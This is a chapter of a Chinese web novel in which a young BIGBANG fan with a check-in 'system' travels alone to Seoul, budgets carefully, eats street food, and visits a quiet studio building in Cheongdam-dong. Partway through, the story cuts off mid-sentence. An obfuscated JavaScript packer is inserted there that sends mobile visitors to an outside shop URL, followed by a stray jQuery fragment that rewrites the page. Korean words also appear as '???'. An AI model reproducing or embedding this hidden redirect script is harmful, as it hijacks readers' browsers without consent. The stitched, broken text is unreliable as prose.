十二月三号，广州白云机场。
江梨初第一次坐飞机。
值机的时候她把身份证和护照攥在手里，攥出了汗。安检小姐姐扫了一眼她的登机牌："第一次出国？"
"……看出来的？"
"手在抖。"小姐姐笑了，"别紧张，两个半小时就到了。"
她"哦"了一声，把手往兜里揣。
候机厅里她找了个靠窗的位置坐下，掏出记账本。帆布包磨出了毛边，拉链有一节不太顺滑，得用力才能拉上，她习惯了。
"12月3日，广州→首尔。机票1,800（单程经济），签证300。"
"青旅5晚×80=400。"
"合计已支出：2,500。"
"结余：2,652。"
她盯着"2,652"这个数，想了想，又补了一行：
"首尔地铁单程约7块，一天来回14。五天70。"
"吃饭预算：一天50。五天250。"
"还能剩2,332。"
"够了，紧巴巴的，但够了。"
写完，合上本子，塞进帆布包。
从五月到十二月，从8,674到5,152。从一张内场C区第十一排的票，到一张飞往首尔的登机牌。
她靠在椅背上，闭眼。广播在喊登机，韩语和英语交替播报，她听懂了韩语那部分。
"大韩航空KE866次航班，前往首尔仁川机场的旅客请到登机口——"
站了起来。
腿没抖了。
飞机起飞的时候，她紧紧抓着扶手。
不是怕，是第一次被推着离开地面，耳朵里"嗡"的一声，窗外的广州变成一块灰扑扑的棋盘，珠江像一条打结的绸带。然后云层来了，白茫茫的，什么也看不见。
她松开扶手，低头看手心，四个指甲印。
旁边是个韩国中年男人，西装，看杂志，从起飞到平飞，一眼没往窗外看。
她看了半小时窗外，云层上面是太阳，下面什么也看不见。她想，广州现在应该是二十度，首尔零下。
她在登机牌背面写了一行字："第一次飞，没吐，成功。"
仁川机场比她想的干净。
入境的时候排队，前面一对中国情侣在自拍，女生举着手机找角度："光线好好哦！"
她低头看了看自己，旧牛仔裤，白T恤，套了件林叙淘汰的黑色棉服——林叙说"首尔零下你穿个卫衣去冻死吗"，翻箱倒柜找出这件棉服塞给她，"穿完还我。"
"好。"
"别把拉链拉坏了。"
"……知道了妈。"
林叙在微信里追了一句："到了报平安，别跟陌生人走。"
她回了个"嗯"和一只举手的emoji。
过了海关，取了行李。一个双肩包，一个登机箱。登机箱是在小区门口杂货店买的，一百二，轮子有点歪，拉起来咯噔咯噔响。她把双肩包背前面，登机箱拖后面，像只蜗牛。
出了到达大厅，冷风"啪"地打在脸上。
不是广州那种闷。是干冷，利落，像一巴掌。鼻尖瞬间冻红，呼出的气变成白雾。
她站在门口吸了一口气，凉到肺里，又热乎乎地吐出来。
"——好冷。"
但嘴角翘了。
到站签到。
【叮。】
【签到地点：首尔·仁川国际机场（特殊地点·权志龙关联地区）。检测到特殊地点加成。奖励翻倍。】
【发放奖励：首尔交通卡（T-money）×1，内含余额10,000韩元（约55元）。】
【连续签到：第168天。】
交通卡。她捏着那张淡绿色的卡片，站在零下三度的风里笑了。
系统比她自己还了解她接下来需要什么。
她坐AREX直达列车进市区。
窗外是灰白色的天和灰色的楼，首尔十二月的天很低，压着房顶，像一块没拧干的毛巾。楼不高，排列整整齐齐，隔着的距离刚刚好，像有人量过。
四十三分钟后，弘大入口站。
她订的青旅在弘大附近，老板是个三十来岁的韩国女人，短发，围着围裙，正在拖地。看见她拖着箱子进门，用韩语问："一个人？"
"嗯，一个人。订了五晚，名字叫Jiang。"
"哦，中国来的。"老板娘把钥匙递给她，"三楼，306。暖气开了，浴室在走廊尽头。"
"谢谢。"
"吃饭了吗？"
"……还没。"
"楼下左转有家???，便宜。"老板娘想了想，又补了一句，"???给得多。"
江梨初听懂了。"多给辣粉"的意思。她笑了一下："谢谢，我去看看。"
老板娘看了她一眼，没多说。大概觉得一个中国游客韩语说这么好，不太寻常。但首尔什么人都有，她见惯了。
房间小。一张单人床，一张桌子，一把椅子，一扇窗。窗户推开，能看见对面楼墙上贴的海报，一张是BIGBANG的MADE专辑封面，边角翘了，被风掀着。
她站在窗前看了那张海报很久。
放下箱子，出门觅食。
???就在巷子口，玻璃门上贴着手写菜单。推门进去，暖气扑了一脸，眼镜起了一层雾。
矮桌矮凳，跟重庆那家面馆差不多，但更挤。店里就一个阿姨在卷紫菜包饭，手法快得像在折纸。竹帘一卷、一压、一收，刀沾水，"嚓嚓嚓"切出来，一排整整齐齐的紫菜包饭。
她坐下，阿姨递来菜单。韩文手写的，她看得懂。
"一个金枪鱼紫菜包饭，一个炒年糕。"
"外带？"
"不，在这吃。"
阿姨"?"了一声，转身去做了。
炒年糕先上来。
不是中国那种炸年糕。是煮的，红色辣酱裹着圆柱形的年糕条，滚烫，在碗里冒着热气。年糕条切成手指长，两头圆，中间粗，表面被辣酱浸成了暗红色。碗边搁着几片鱼糕和两颗煮蛋。
她夹起一条，吹了吹，咬下去。
弹。
年糕在牙齿上弹了一下，韧得像在跟牙齿较劲。表面那层辣酱先甜后辣，甜是糖浆的甜，辣是辣椒粉的辣，混在一起，糊在舌面上。咬到中间，年糕芯是白的，没什么味，但软糯，跟外面那层辣酱一冷一热、一甜一辣，撞在一起。
她呼呼地吃，辣得嘴唇发红，鼻尖冒汗。跟重庆火锅不一样——重庆的辣是闷棍，首尔的辣是耳光。
紫菜包饭也上了。阿姨切的，一段一段竖着摆在盘子里，外面紫菜黑得发亮，包着米饭、金枪鱼、腌萝卜条、黄瓜、鸡蛋条。她拿筷子夹起一段，蘸了一点酱油。
咬下去，紫菜"咔嚓"一声脆响，米饭是温的、醋味的，金枪鱼被蛋黄酱拌过，咸鲜，腌萝卜条嘎嘣脆，黄瓜清爽。一截紫菜包饭里什么味道都有，但什么都不抢，各自老实待着，被紫菜捆在一起。
她吃了两段，想起什么，掏出手机拍了一张。
发给林叙："韩国紫菜包饭，比食堂的好吃。"
林叙秒回："多少钱？"
"……三千韩元。大概十六块。"
"你数学很好。"
"追星的人都会汇率换算。"
"那叫穷病。"
她笑着把手机揣回兜里，继续吃。
阿姨看她吃得干净，走过来问："好吃吗？"
"是，真的好吃。"
阿姨笑了，又给她添了两块煮蛋，没收钱。
"送的。"
"?????.（谢谢。）"
她吃得饱饱的，出门，被冷风一吹，打了个寒颤，但很舒服。
弘大街头晚上很热闹。有年轻人在唱歌，吉他、音箱、话筒，摆个小摊就开唱。有跳街舞的，围了一圈人鼓掌。有摆摊卖手机壳和袜子的，韩语吆喝，她听得半懂不懂。
她站在人群里，听了一个女生唱《If You》。
唱得一般，音准有问题，高音上不去。
但她听到副歌的时候，眼眶忽然热了一下。
不是因为唱得好。
是因为这首歌，他在重庆场唱过。坐在舞台边沿，两条腿晃着，唱完了整首。一万多人安静得只剩他的声音和录像提示音。
那是三个月前的事了。
回到青旅，她躺在床上，盯着天花板。
暖气管在墙角发出"咕噜咕噜"的声音，像有个老头在里面打呼噜。她翻了个身，手伸进枕头底下，摸到那张折了两折的纸条。
从帆布包夹层里拿出来，展开，看了一遍又一遍。
"2015年12月，首尔，XX录音室。"
系统在第六天签到的大奖池里给的信息碎片，她等了一百六十二天。
明天。
她把纸条折好，塞回枕头底下。
关灯。
窗外弘大的霓虹灯闪着，红的蓝的绿的，透过薄窗帘映在天花板上，像一场无声的烟花。
她闭上眼，心跳得很快，但没有翻来覆去。
睡着了。
十二月四号。早上七点。
她醒得比闹钟早。首尔比广州早一个小时，天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936225|213721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还黑着，窗外弘大的霓虹灯还亮着，但街上没什么人了。
洗漱，出门。青旅厨房有免费吐司机和黄油，她烤了两片吐司，抹了黄油，站在窗边吃。吐司焦黄，咬下去嘎嘣脆，黄油在热面上慢慢化开，油亮亮的，渗进面包的孔洞里。
简单，但暖。
她拿出手机，导航。系统给的信息碎片里有一个地址，在江南区，清潭洞附近，地铁二号线，到驿三站，换乘盆唐线，到狎鸥亭罗德奥站。全程约五十分钟。
她揣好交通卡，出门。
地铁里人不多，早高峰的尾巴，上班族穿着深色大衣，低头看手机，安静得像一节移动的图书馆，她站在车厢角落，数站。
韩语报站她全听得懂。每一个站名，每一个提示，每一个换乘广播。
"???? ——"
她靠在车上，看窗外的隧道壁往后退。
系统给的地址，她查过。那栋楼在清潭洞一条安静的巷子里，门牌号是某某，三楼有一间录音室。网上查不到任何信息——不是那种对外开放的商业录音室。是私人的。
她不知道去了能干什么。站在门口看一眼？拍一张照片？还是像在重庆场散场后那样，站在原地，什么也不做？
她不知道。
但脚已经往那个方向走了。
狎鸥亭罗德奥站。
出了地铁，冷得厉害。不是仁川那种干冷，是湿冷，空气里有股水汽，吸进去凉得嗓子疼。她裹紧林叙的棉服，戴上帽子。
清潭洞跟弘大不一样。没有街头表演，没有摊贩。路两边是精品店、画廊、咖啡厅，玻璃幕墙反射着灰白的天。街上的人少，穿得都好，走路都安静。
她按导航走了十五分钟。
拐进一条巷子。
巷子不宽，能并排走两个人。两边是住宅楼和工作室的混搭，灰色的墙，深色的门。地砖是旧的，有些翘了边，踩上去会晃。
导航说到了。
她抬头。
一栋六层灰楼。外墙是那种旧的水泥拉毛，底楼是一家干洗店，卷帘门半拉着。门牌号和系统给的一致。
三楼。
窗帘拉着，看不见里面。楼门口有门禁，需要密码或刷卡。她站在门口，仰头看了三楼一会儿。
没有人在外面走动，没有车停在门口，没有粉丝，没有站姐，什么都没有。
就是一栋普通的楼，普通到她有点恍惚。
她在重庆场看见他从后台出来，蹲下，摸了摸地板。她以为一个巨星常去的地方，应该有什么不一样，至少应该有一块铜牌写着什么。
没有。
她站在楼下，看了三分钟。
然后掏出相机，拍了一张。
不是拍三楼，是拍整栋楼。灰色的墙，半拉的卷帘门，门口歪斜的树，冬天的天压在上面，一张很普通的街景照，看不出什么来。
但她知道这张照片里有什么。
她把相机收好，在记账本上写了一行字：
"12月4日，清潭洞，到了。外面站了十分钟，什么也没发生。"
顿了顿，又补了一句：
"也好。"
她没走远，在巷口找了家咖啡厅坐下来。
咖啡厅不大，暖色调的灯光，原木桌椅，玻璃杯里插着一枝干花。菜单是韩文的，她在吧台点了杯美式，四千韩元，约二十二块。比国内贵，但首尔物价就这样。
她选了靠窗的位置坐下。从这个角度，能看到那栋楼的楼门口。
不，她没打算蹲守。她只是……坐一会儿。
美式来了。黑咖啡，没加糖没加奶，苦，但热，捧在手心里暖得指头都松了。她喝了一口，咳了一下，太苦了，但没吐。
她想，喝这个的他，也苦吗？
然后觉得自己矫情，又喝了一口。
手机震了。
金陵旧梦："梨花儿！到首尔了？冷不冷？"
"到了。冷。零下。"
"穿够了吗？"
"借了室友的棉服。"
"你那个室友人怪好的。"
"嗯。她凶但心软。"
"对了，你去了干嘛？追行程？"
她盯着这句话看了几秒，打字，删掉，又打，又删掉。
最后发了一句："来看看。"
金陵旧梦没追问。发了个"给你看个东西"的链接，是BIGBANG正规专辑的预告，网上刚出的。
她点开看了。十二月二十五号，专辑发行。
"MADE正规专辑？"
"嗯，年末发。"
她放下手机，看着窗外那栋楼。